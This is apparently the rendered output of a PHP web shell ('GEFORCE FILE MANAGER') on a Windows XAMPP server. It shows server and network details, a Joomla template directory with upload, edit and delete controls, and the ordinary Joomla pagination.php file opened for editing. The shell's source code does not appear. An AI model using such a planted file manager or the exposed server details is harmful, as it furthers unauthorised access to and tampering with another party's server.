[ SYSTEM ]: Windows NT SWD-ELEARN-11 10.0 build 20348 (Windows Server 2016) AMD64
[ SERVER ]: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9 | PHP: 7.3.9
[ USER ]: Elearn | IP: 10.201.204.156
GEFORCE FILE MANAGER
/
C:
/
xampp
/
htdocs
/
Ajaji
/
backup
/
alajaji
/
administrator
/
templates
/
hathor
/
html
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 com_admin
SET
[ DEL ]
📁 com_associations
SET
[ DEL ]
📁 com_banners
SET
[ DEL ]
📁 com_cache
SET
[ DEL ]
📁 com_categories
SET
[ DEL ]
📁 com_checkin
SET
[ DEL ]
📁 com_config
SET
[ DEL ]
📁 com_contact
SET
[ DEL ]
📁 com_content
SET
[ DEL ]
📁 com_contenthistory
SET
[ DEL ]
📁 com_cpanel
SET
[ DEL ]
📁 com_fields
SET
[ DEL ]
📁 com_finder
SET
[ DEL ]
📁 com_installer
SET
[ DEL ]
📁 com_joomlaupdate
SET
[ DEL ]
📁 com_languages
SET
[ DEL ]
📁 com_menus
SET
[ DEL ]
📁 com_messages
SET
[ DEL ]
📁 com_modules
SET
[ DEL ]
📁 com_newsfeeds
SET
[ DEL ]
📁 com_plugins
SET
[ DEL ]
📁 com_postinstall
SET
[ DEL ]
📁 com_redirect
SET
[ DEL ]
📁 com_search
SET
[ DEL ]
📁 com_tags
SET
[ DEL ]
📁 com_templates
SET
[ DEL ]
📁 com_users
SET
[ DEL ]
📁 com_weblinks
SET
[ DEL ]
📁 layouts
SET
[ DEL ]
📁 mod_login
SET
[ DEL ]
📁 mod_quickicon
SET
[ DEL ]
📄 modules.php
1,239 B
SET
[ EDIT ]
|
[ DEL ]
📄 pagination.php
4,461 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: pagination.php
<?php /** * @package Joomla.Administrator * @subpackage Template.hathor * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * This is a file to add template specific chrome to pagination rendering. * * pagination_list_footer * Input variable $list is an array with offsets: * $list[prefix] : string * $list[limit] : int * $list[limitstart] : int * $list[total] : int * $list[limitfield] : string * $list[pagescounter] : string * $list[pageslinks] : string * * pagination_list_render * Input variable $list is an array with offsets: * $list[all] * [data] : string * [active] : boolean * $list[start] * [data] : string * [active] : boolean * $list[previous] * [data] : string * [active] : boolean * $list[next] * [data] : string * [active] : boolean * $list[end] * [data] : string * [active] : boolean * $list[pages] * [{PAGE}][data] : string * [{PAGE}][active] : boolean * * pagination_item_active * Input variable $item is an object with fields: * $item->base : integer * $item->prefix : string * $item->link : string * $item->text : string * * pagination_item_inactive * Input variable $item is an object with fields: * $item->base : integer * $item->prefix : string * $item->link : string * $item->text : string * * This gives template designers ultimate control over how pagination is rendered. * * NOTE: If you override pagination_item_active OR pagination_item_inactive you MUST override them both */ function pagination_list_footer($list) { /** * Fix javascript jump menu * * Remove the onchange=Joomla.submitform from the select tag * Add in a button with onclick instead */ $fixlimit = $list['limitfield']; $fixlimit = preg_replace('/onchange="Joomla.submitform\(\);"/', '', $fixlimit); $html = '<div class="containerpg"><div class="pagination">'; $html .= '<div class="limit"><label for="limit">' . JText::_('JGLOBAL_DISPLAY_NUM') . ' </label>'; $html .= "\n" . $fixlimit; $html .= "\n" . '<button id="pagination-go" type="button" onclick="Joomla.submitform()">' . JText::_('JSUBMIT') . '</button></div>'; $html .= "\n" . $list['pageslinks']; $html .= "\n" . '<div class="limit">' . $list['pagescounter'] . '</div>'; $html .= "\n" . '<input type="hidden" name="' . $list['prefix'] . 'limitstart" value="' . $list['limitstart'] . '" />'; $html .= "\n" . '<div class="clr"></div></div></div>'; return $html; } function pagination_list_render($list) { $html = null; if ($list['start']['active']) { $html .= '<div class="button2-right"><div class="start">'. $list['start']['data']. '</div></div>'; } else { $html .= '<div class="button2-right off"><div class="start">'. $list['start']['data']. '</div></div>'; } if ($list['previous']['active']) { $html .= '<div class="button2-right"><div class="prev">'. $list['previous']['data']. '</div></div>'; } else { $html .= '<div class="button2-right off"><div class="prev">'. $list['previous']['data']. '</div></div>'; } $html .= '<div class="button2-left"><div class="page">'; foreach ($list['pages'] as $page) { $html .= $page['data']; } $html .= '</div></div>'; if ($list['next']['active']) { $html .= '<div class="button2-left"><div class="next">'. $list['next']['data']. '</div></div>'; } else { $html .= '<div class="button2-left off"><div class="next">'. $list['next']['data']. '</div></div>'; } if ($list['end']['active']) { $html .= '<div class="button2-left"><div class="end">'. $list['end']['data']. '</div></div>'; } else { $html .= '<div class="button2-left off"><div class="end">'. $list['end']['data']. '</div></div>'; } return $html; } function pagination_item_active(&$item) { if ($item->base > 0) { return '<a href="#" title="'.$item->text.'" onclick="document.adminForm.' . $item->prefix . 'limitstart.value=' .$item->base.'; Joomla.submitform();return false;">'.$item->text. '</a>'; } else { return '<a href="#" title="'.$item->text.'" onclick="document.adminForm.' . $item->prefix . 'limitstart.value=0; Joomla.submitform();return false;">'.$item->text. '</a>'; } } function pagination_item_inactive(&$item) { if ($item->active) { $class = 'class="active"'; } else { $class = ''; } return '<span ' . $class . '>' . $item->text . '</span>'; }